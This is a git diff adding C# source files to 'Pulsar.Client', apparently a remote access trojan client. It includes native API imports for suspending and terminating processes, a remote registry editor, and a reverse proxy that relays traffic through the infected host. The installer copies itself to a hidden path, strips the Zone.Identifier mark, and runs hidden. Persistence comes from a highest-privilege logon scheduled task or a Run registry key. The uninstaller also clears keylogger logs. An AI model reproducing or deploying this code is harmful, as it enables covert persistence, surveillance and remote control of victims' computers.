SetLastError = true)] + public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, + IntPtr hSourceHandle, + IntPtr hTargetProcessHandle, + ref IntPtr lpTargetHandle, + uint dwDesiredAccess, + bool bInheritHandle, + uint dwOptions + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtQueryInformationProcess")] + private static extern int _NtQueryPbi32( + IntPtr ProcessHandle, + InternalStructsXeno.PROCESSINFOCLASS ProcessInformationClass, + ref InternalStructsXeno.PROCESS_BASIC_INFORMATION ProcessInformation, + uint BufferSize, + ref uint NumberOfBytesRead); + + [DllImport("kernel32.dll")] + public static extern InternalStructsXeno.FileType GetFileType(IntPtr hFile); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern uint GetFinalPathNameByHandleW(IntPtr hFile, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + public static extern IntPtr CreateFileMappingA(IntPtr hFile, IntPtr lpFileMappingAttributes, uint flProtect, uint dwMaximumSizeHigh, uint dwMaximumSizeLow, string lpName); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetFileSizeEx(IntPtr hFile, out ulong FileSize); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess, uint dwFileOffsetHigh, uint dwFileOffsetLow, UIntPtr dwNumberOfBytesToMap); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool UnmapViewOfFile(IntPtr lpBaseAddress); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern uint NtQuerySystemInformation(InternalStructsXeno.SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, out uint ReturnLength); + + [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern uint RmRegisterResources(uint dwSessionHandle, uint nFiles, string[] rgsFileNames, uint nApplications, RM_UNIQUE_PROCESS[] rgApplications, uint nServices, string[] rgsServiceNames); + + [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern uint RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey); + + [DllImport("rstrtmgr.dll", SetLastError = true)] + public static extern uint RmEndSession(uint pSessionHandle); + + [DllImport("rstrtmgr.dll", SetLastError = true)] + public static extern uint RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In, Out] RM_PROCESS_INFO[] rgAffectedApps, out InternalStructsXeno.RM_REBOOT_REASON lpdwRebootReasons); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern uint NtQueryInformationFile(IntPtr FileHandle, ref IO_STATUS_BLOCK IoStatusBlock, IntPtr FileInformation, uint Length, uint FileInformationClass); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern uint NtSuspendProcess(IntPtr ProcessHandle); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern uint NtResumeProcess(IntPtr ProcessHandle); + + public const uint GENERIC_READ = 0x80000000; + public const uint GENERIC_WRITE = 0x40000000; + public const uint FILE_SHARE_READ = 0x00000001; + public const uint FILE_SHARE_WRITE = 0x00000002; + public const uint OPEN_EXISTING = 3; + public static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern IntPtr CreateFileW(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); + + [DllImport("kernel32.dll")] + public static extern uint GetCurrentProcessId(); + } +} diff --git a/Pulsar.Client/Registry/RegistryEditor.cs b/Pulsar.Client/Registry/RegistryEditor.cs new file mode 100644 index 0000000..3881fe3 --- /dev/null +++ b/Pulsar.Client/Registry/RegistryEditor.cs @@ -0,0 +1,399 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Common.Models; +using System; + +namespace Pulsar.Client.Registry +{ + public class RegistryEditor + { + private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry"; + + private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry"; + + private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry"; + + private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; + + private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; + + private const string REGISTRY_VALUE_RENAME_ERROR = "Cannot rename value: Error writing to the registry"; + + private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry"; + + /// + /// Attempts to create the desired sub key to the specified parent. + /// + /// The path to the parent for which to create the sub-key on. + /// output parameter that holds the name of the sub-key that was create. + /// output parameter that contains possible error message. + /// Returns true if action succeeded. + public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey parent = GetWritableRegistryKey(parentPath); + + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Key #{0}", i); + + while (parent.ContainsSubKey(testName)) + { + i++; + testName = String.Format("New Key #{0}", i); + } + name = testName; + + using (RegistryKey child = parent.CreateSubKeySafe(name)) + { + //Child could not be created + if (child == null) + { + errorMsg = REGISTRY_KEY_CREATE_ERROR; + return false; + } + } + + //Child was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired sub-key from the specified parent. + /// + /// The name of the sub-key to delete. + /// The path to the parent for which to delete the sub-key on. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) + { + try + { + RegistryKey parent = GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(name)) + { + errorMsg = "The registry: " + name + " does not exist in: " + parentPath; + //If child does not exists then the action has already succeeded + return true; + } + + bool success = parent.DeleteSubKeyTreeSafe(name); + + //Child could not be deleted + if (!success) + { + errorMsg = REGISTRY_KEY_DELETE_ERROR; + return false; + } + + //Child was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired key. + /// + /// The name of the key to rename. + /// The name to use for renaming. + /// The path of the parent for which to rename the key. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) + { + try + { + + RegistryKey parent = GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(oldName)) + { + errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath; + return false; + } + + bool success = parent.RenameSubKeySafe(oldName, newName); + + //Child could not be renamed + if (!success) + { + errorMsg = REGISTRY_KEY_RENAME_ERROR; + return false; + } + + //Child was successfully renamed + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to create the desired value for the specified parent. + /// + /// The path to the key for which to create the registry value on. + /// The type of the registry value to create. + /// output parameter that holds the name of the registry value that was create. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Value #{0}", i); + + while (key.ContainsValue(testName)) + { + i++; + testName = String.Format("New Value #{0}", i); + } + name = testName; + + bool success = key.SetValueSafe(name, kind.GetDefault(), kind); + + //Value could not be created + if (!success) + { + errorMsg = REGISTRY_VALUE_CREATE_ERROR; + return false; + } + + //Value was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired registry value from the specified key. + /// + /// The path to the key for which to delete the registry value on. + /// /// The name of the registry value to delete. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Value does not exist + if (!key.ContainsValue(name)) + { + errorMsg = "The value: " + name + " does not exist in: " + keyPath; + //If value does not exists then the action has already succeeded + return true; + } + + bool success = key.DeleteValueSafe(name); + + //Value could not be deleted + if (!success) + { + errorMsg = REGISTRY_VALUE_DELETE_ERROR; + return false; + } + + //Value was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired registry value. + /// + /// The name of the registry value to rename. + /// The name to use for renaming. + /// The path of the key for which to rename the registry value. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Value does not exist + if (!key.ContainsValue(oldName)) + { + errorMsg = "The value: " + oldName + " does not exist in: " + keyPath; + return false; + } + + bool success = key.RenameValueSafe(oldName, newName); + + //Value could not be renamed + if (!success) + { + errorMsg = REGISTRY_VALUE_RENAME_ERROR; + return false; + } + + //Value was successfully renamed + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to change the value for the desired registry value for the + /// specified key. + /// + /// The registry value to change to in the form of a + /// RegValueData object. + /// The path to the key for which to change the + /// value of the registry value on. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Is not default value and does not exist + if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name)) + { + errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath; + return false; + } + + bool success = key.SetValueSafe(value.Name, value.Data, value.Kind); + + //Value could not be created + if (!success) + { + errorMsg = REGISTRY_VALUE_CHANGE_ERROR; + return false; + } + + //Value was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + public static RegistryKey GetWritableRegistryKey(string keyPath) + { + RegistryKey key = RegistrySeeker.GetRootKey(keyPath); + + if (key != null) + { + //Check if this is a root key or not + if (key.Name != keyPath) + { + //Must get the subKey name by removing root and '\\' + string subKeyName = keyPath.Substring(key.Name.Length + 1); + + key = key.OpenWritableSubKeySafe(subKeyName); + } + } + + return key; + } + } +} diff --git a/Pulsar.Client/Registry/RegistrySeeker.cs b/Pulsar.Client/Registry/RegistrySeeker.cs new file mode 100644 index 0000000..a48729d --- /dev/null +++ b/Pulsar.Client/Registry/RegistrySeeker.cs @@ -0,0 +1,161 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Common.Models; +using System; +using System.Collections.Generic; + +namespace Pulsar.Client.Registry +{ + public class RegistrySeeker + { + /// + /// The list containing the matches found during the search. + /// + private readonly List _matches; + + public RegSeekerMatch[] Matches => _matches?.ToArray(); + + public RegistrySeeker() + { + _matches = new List(); + } + + public void BeginSeeking(string rootKeyName) + { + if (!String.IsNullOrEmpty(rootKeyName)) + { + using (RegistryKey root = GetRootKey(rootKeyName)) + { + //Check if this is a root key or not + if (root != null && root.Name != rootKeyName) + { + //Must get the subKey name by removing root and '\' + string subKeyName = rootKeyName.Substring(root.Name.Length + 1); + using (RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName)) + { + if (subroot != null) + Seek(subroot); + } + } + else + { + Seek(root); + } + } + } + else + { + Seek(null); + } + } + + private void Seek(RegistryKey rootKey) + { + // Get root registrys + if (rootKey == null) + { + foreach (RegistryKey key in GetRootKeys()) + //Just need root key so process it + ProcessKey(key, key.Name); + } + else + { + //searching for subkeys to root key + Search(rootKey); + } + } + + private void Search(RegistryKey rootKey) + { + foreach (string subKeyName in rootKey.GetSubKeyNames()) + { + RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName); + ProcessKey(subKey, subKeyName); + } + } + + private void ProcessKey(RegistryKey key, string keyName) + { + if (key != null) + { + List values = new List(); + + foreach (string valueName in key.GetValueNames()) + { + RegistryValueKind valueType = key.GetValueKind(valueName); + object valueData = key.GetValue(valueName); + values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData)); + } + + AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount); + } + else + { + AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); + } + } + + private void AddMatch(string key, RegValueData[] values, int subkeycount) + { + RegSeekerMatch match = new RegSeekerMatch { Key = key, Data = values, HasSubKeys = subkeycount > 0 }; + + _matches.Add(match); + } + + public static RegistryKey GetRootKey(string subkeyFullPath) + { + string[] path = subkeyFullPath.Split('\\'); + try + { + switch (path[0]) // <== root; + { + case "HKEY_CLASSES_ROOT": + return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64); + case "HKEY_CURRENT_USER": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64); + case "HKEY_LOCAL_MACHINE": + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + case "HKEY_USERS": + return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64); + case "HKEY_CURRENT_CONFIG": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64); + default: + /* If none of the above then the key must be invalid */ + throw new Exception("Invalid rootkey, could not be found."); + } + } + catch (SystemException) + { + throw new Exception("Unable to open root registry key, you do not have the needed permissions."); + } + catch (Exception e) + { + throw e; + } + } + + public static List GetRootKeys() + { + List rootKeys = new List(); + try + { + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64)); + } + catch (SystemException) + { + throw new Exception("Could not open root registry keys, you may not have the needed permission"); + } + catch (Exception e) + { + throw e; + } + + return rootKeys; + } + } +} diff --git a/Pulsar.Client/ReverseProxy/ReverseProxyClient.cs b/Pulsar.Client/ReverseProxy/ReverseProxyClient.cs new file mode 100644 index 0000000..2203687 --- /dev/null +++ b/Pulsar.Client/ReverseProxy/ReverseProxyClient.cs @@ -0,0 +1,169 @@ +ο»Ώusing Pulsar.Common.Messages.Administration.ReverseProxy; +using System; +using System.Net; +using System.Net.Sockets; + +namespace Pulsar.Client.ReverseProxy +{ + public class ReverseProxyClient + { + public const int BUFFER_SIZE = 8192; + + public int ConnectionId { get; private set; } + public Socket Handle { get; private set; } + public string Target { get; private set; } + public int Port { get; private set; } + public Networking.Client Client { get; private set; } + private byte[] _buffer; + private bool _disconnectIsSend; + private bool _disposed; + + public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client) + { + this.ConnectionId = command.ConnectionId; + this.Target = command.Target; + this.Port = command.Port; + this.Client = client; + this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + + //Non-Blocking connect, so there is no need for a extra thread to create + this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null); + } + + private void Handle_Connect(IAsyncResult ar) + { + try + { + this.Handle.EndConnect(ar); + } + catch { } + + if (this.Handle.Connected) + { + try + { + this._buffer = new byte[BUFFER_SIZE]; + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); + Disconnect(); + } + + IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = true, + LocalAddress = localEndPoint.Address.GetAddressBytes(), + LocalPort = localEndPoint.Port, + HostName = Target + }); + } + else + { + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); + } + } + + private void AsyncReceive(IAsyncResult ar) + { + //Receive here data from e.g. a WebServer + + if (_disposed) + return; + + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + + byte[] payload = new byte[received]; + Array.Copy(_buffer, payload, received); + Client.Send(new ReverseProxyData { ConnectionId = ConnectionId, Data = payload }); + } + catch (ObjectDisposedException) + { + // Socket was disposed, ignore + return; + } + catch + { + Disconnect(); + return; + } + + if (_disposed) + return; + + try + { + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Disconnect(); + return; + } + } + + public void Disconnect() + { + if (_disposed) + return; + + _disposed = true; + + if (!_disconnectIsSend) + { + _disconnectIsSend = true; + //send to the Server we've been disconnected + try + { + Client.Send(new ReverseProxyDisconnect { ConnectionId = ConnectionId }); + } + catch { } + } + + try + { + Handle.Close(); + } + catch { } + + Client.RemoveProxyClient(this.ConnectionId); + } + + public void SendToTargetServer(byte[] data) + { + if (_disposed) + return; + + try + { + Handle.Send(data); + } + catch { Disconnect(); } + } + } +} diff --git a/Pulsar.Client/Setup/ClientInstaller.cs b/Pulsar.Client/Setup/ClientInstaller.cs new file mode 100644 index 0000000..a69628e --- /dev/null +++ b/Pulsar.Client/Setup/ClientInstaller.cs @@ -0,0 +1,120 @@ +ο»Ώusing Pulsar.Client.Config; +using Pulsar.Client.Extensions; +using Pulsar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client.Setup +{ + public class ClientInstaller : ClientSetupBase + { + public void ApplySettings() + { + string clientPath; + try + { + clientPath = Application.ExecutablePath; + } + catch + { + clientPath = null; + } + + + if (Settings.STARTUP && clientPath != null) + { + var clientStartup = new ClientStartup(); + if (Settings.INSTALL) + { + clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY); + } + else + { + clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY); + } + + if (Settings.INSTALL && Settings.HIDEFILE) + { + try + { + File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + + if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception ex) + { + Debug.WriteLine(ex); + } + } + } + } + + public void Install() + { + // create target dir + if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH))) + { + Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH)); + } + + // delete existing file + if (File.Exists(Settings.INSTALLPATH)) + { + try + { + File.Delete(Settings.INSTALLPATH); + } + catch (Exception ex) + { + if (ex is IOException || ex is UnauthorizedAccessException) + { + // kill old process running at destination path + Process[] foundProcesses = + Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH)); + int myPid = Process.GetCurrentProcess().Id; + foreach (var prc in foundProcesses) + { + // dont kill own process + if (prc.Id == myPid) continue; + // only kill the process at the destination path + if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue; + prc.Kill(); + Thread.Sleep(2000); + break; + } + } + } + } + + File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true); + + ApplySettings(); + + FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH); + + //start file + var startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = false, + FileName = Settings.INSTALLPATH + }; + Process.Start(startInfo); + } + } +} diff --git a/Pulsar.Client/Setup/ClientSetupBase.cs b/Pulsar.Client/Setup/ClientSetupBase.cs new file mode 100644 index 0000000..0f77fb4 --- /dev/null +++ b/Pulsar.Client/Setup/ClientSetupBase.cs @@ -0,0 +1,14 @@ +ο»Ώusing Pulsar.Client.User; + +namespace Pulsar.Client.Setup +{ + public abstract class ClientSetupBase + { + protected UserAccount UserAccount; + + protected ClientSetupBase() + { + UserAccount = new UserAccount(); + } + } +} diff --git a/Pulsar.Client/Setup/ClientStartup.cs b/Pulsar.Client/Setup/ClientStartup.cs new file mode 100644 index 0000000..8676807 --- /dev/null +++ b/Pulsar.Client/Setup/ClientStartup.cs @@ -0,0 +1,80 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Client.Helper; +using Pulsar.Common.Enums; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Pulsar.Client.Setup +{ + public class ClientStartup : ClientSetupBase + { + public void AddToStartup(string executablePath, string startupName) + { + if (SystemInformation.PowerStatus.BatteryChargeStatus == BatteryChargeStatus.NoSystemBattery) + { + + + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + + "\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + + + } + + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + + } + else + { + RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, + true); + } + + + } + + public void RemoveFromStartup(string startupName) + { + + + if (SystemInformation.PowerStatus.BatteryChargeStatus == BatteryChargeStatus.NoSystemBattery) + { + if (UserAccount.Type == AccountType.Admin) + { + ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") + { + Arguments = "/delete /tn \"" + startupName + "\" /f", + UseShellExecute = false, + CreateNoWindow = true + }; + + Process p = Process.Start(startInfo); + p.WaitForExit(1000); + if (p.ExitCode == 0) return; + } + + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + else + { + RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName); + } + + } + } +} diff --git a/Pulsar.Client/Setup/ClientUninstaller.cs b/Pulsar.Client/Setup/ClientUninstaller.cs new file mode 100644 index 0000000..0584981 --- /dev/null +++ b/Pulsar.Client/Setup/ClientUninstaller.cs @@ -0,0 +1,52 @@ +ο»Ώusing Pulsar.Client.Config; +using Pulsar.Client.IO; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Windows.Forms; + +namespace Pulsar.Client.Setup +{ + public class ClientUninstaller : ClientSetupBase + { + public void Uninstall() + { + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + + if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH)) + { + // this must match the keylogger log files + Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$"); + + foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly) + .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList()) + { + try + { + File.Delete(logFile); + } + catch (Exception) + { + // no important exception + } + } + } + + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + } +} diff --git a/Pulsar.Client/Setup/ClientUpdater.cs b/Pulsar.Client/Setup/ClientUpdater.cs new file mode 100644 index 0000000..065cc8c --- /dev/null +++ b/Pulsar.Client/Setup/ClientUpdater.cs @@ -0,0 +1,38 @@ +ο»Ώusing Pulsar.Client.Config; +using Pulsar.Client.IO; +using Pulsar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Pulsar.Client.Setup +{ + public class ClientUpdater : ClientSetupBase + { + public void Update(string newFilePath) + { + FileHelper.DeleteZoneIdentifier(newFilePath); + + var bytes = File.ReadAllBytes(newFilePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("No executable file."); + + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + } + } +} diff --git a/Pulsar.Client/UniversalDebugAPI/Logger.cs b/Pulsar.Client/UniversalDebugAPI/Logger.cs new file mode 100644 index 0000000000000000000000000000000000000000..28e93a18e051f41066ea181ad0f1171ae674036b GIT binary patch literal 5570 zcmd5=-EP}96y9}!yaVft#sLB)+r`?Z=z!F5J7f7VY-cIZ1pzG`+gxN)BPl0d+b7$_ z9%-+zb41aWWTx$k1elOS5qWt2KAs=)pTGXjjgV8;&r`#7)JX+M8=Zl@Rr&@eUT$yI z3DkV9WONF~@F|$p^l)h`%p0H4vEWmwj1_T{GU}Z-iH8v9TG(aO(aX%Lspi>ixgs)_ zBOB)Akb==Aj0f;X4#u8>ovDOGY;Q?E2b1v_8YZ2n=@jib>i4#{K5TC>e6oC;BFi}C z#;^-17N8AJk71loi5fIJWFw8NP6Qe!LAzz;YT~fJ@0pb9jh7bQU$L%?$p)e1FR)}E z*c9wbmT9rz7MP)rPmWiih97qpIwTwr>^d$0DJ&yedP=oRi3=qX)|0{to{B%AU0WXS zuEkW;CNBH?Rxj7HZfJvshK<#>=o%)lW@xl^uPb{D#!}gxJYU*xMmtX z>J|;o-ntDx1icV3^tD*cQF*vy0M`)6xwiB8KLN&xZ>a%Ss-ACAQRm6BSoMi)}^!2nPq0JXwuMu zTnIuU4H4~wUU4mYsNetN|Y*vF4`F{Hx* z!)C*<1vWGZFpx}hiVB7w>5e1DsAoL3Iizk>jeiIGAJBSG!@R}!80a)k-HWywiv@zh zVx={7S1Q*1!#CxRA_X22}h z*z+=Qu~jkEFsm5HdXC-o+EhD3JcVIWVS$j;d2=6&|2NZvCZFtl*L{)VZy4V1x{rcw z0Mq-i+`zC=zdWQhy48`TR%HVXL)pLha=Fd~4IRmQ4_;_D>%Q0HLBpKd_VKz`!lsyN zxp8g$`>VChdc!j1JlRgS+R?pB)_>{P66mwO3zQP#(W~+q>=#2Iqt8 z%cI`tdel4Zo?ncDw3l4ik(h(ZF#!g672)XSDW&GXW|&+d<(Ywmam+pz0~Rxp$~9)4 zA_^^AV)RyGFu->><2pNj7nScydHD=685Y#ia~pukQyX<=5Z`pQR(K2w(v#J6DxE0J zCK}KDXhCroU?TQ9pG+`?7(5Oi1{V(?20ZO2SZ3lIu!pWwH8)meLHZ8Qu-60jraufb z{G!A@_Qa&FS2E1z*8-kI0cAomlaID5&aD9AmR9##lP= zCZ*>;@c@ST_?pLYXC~4lxU}pWSJyE9pB1u)th{d_6<~@d2ED{8OalG3L5bA0uqQ>F7m4g-1z>B&-La`1*1TS5q<`e=HZWxF8^=&2uJ&S0FZN`2O5UvzQm@ z<)2!bq`|LBr|!Z@;fYUEYg63aT;iP<-Z0^9%GV~*jf(>H-raoe zBEWkLwJA^WLyO?g3%fPDCG)jQqI3{i%@nsXdyLwW5QxMUS>A6t5jf`2+Qq&w;D)66 j=7S73ajp`5;liMyO@&u&zmyjOfqn2*d!S^CFZ}rza4X#V literal 0 HcmV?d00001 diff --git a/Pulsar.Client/User/.DS_Store b/Pulsar.Client/User/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 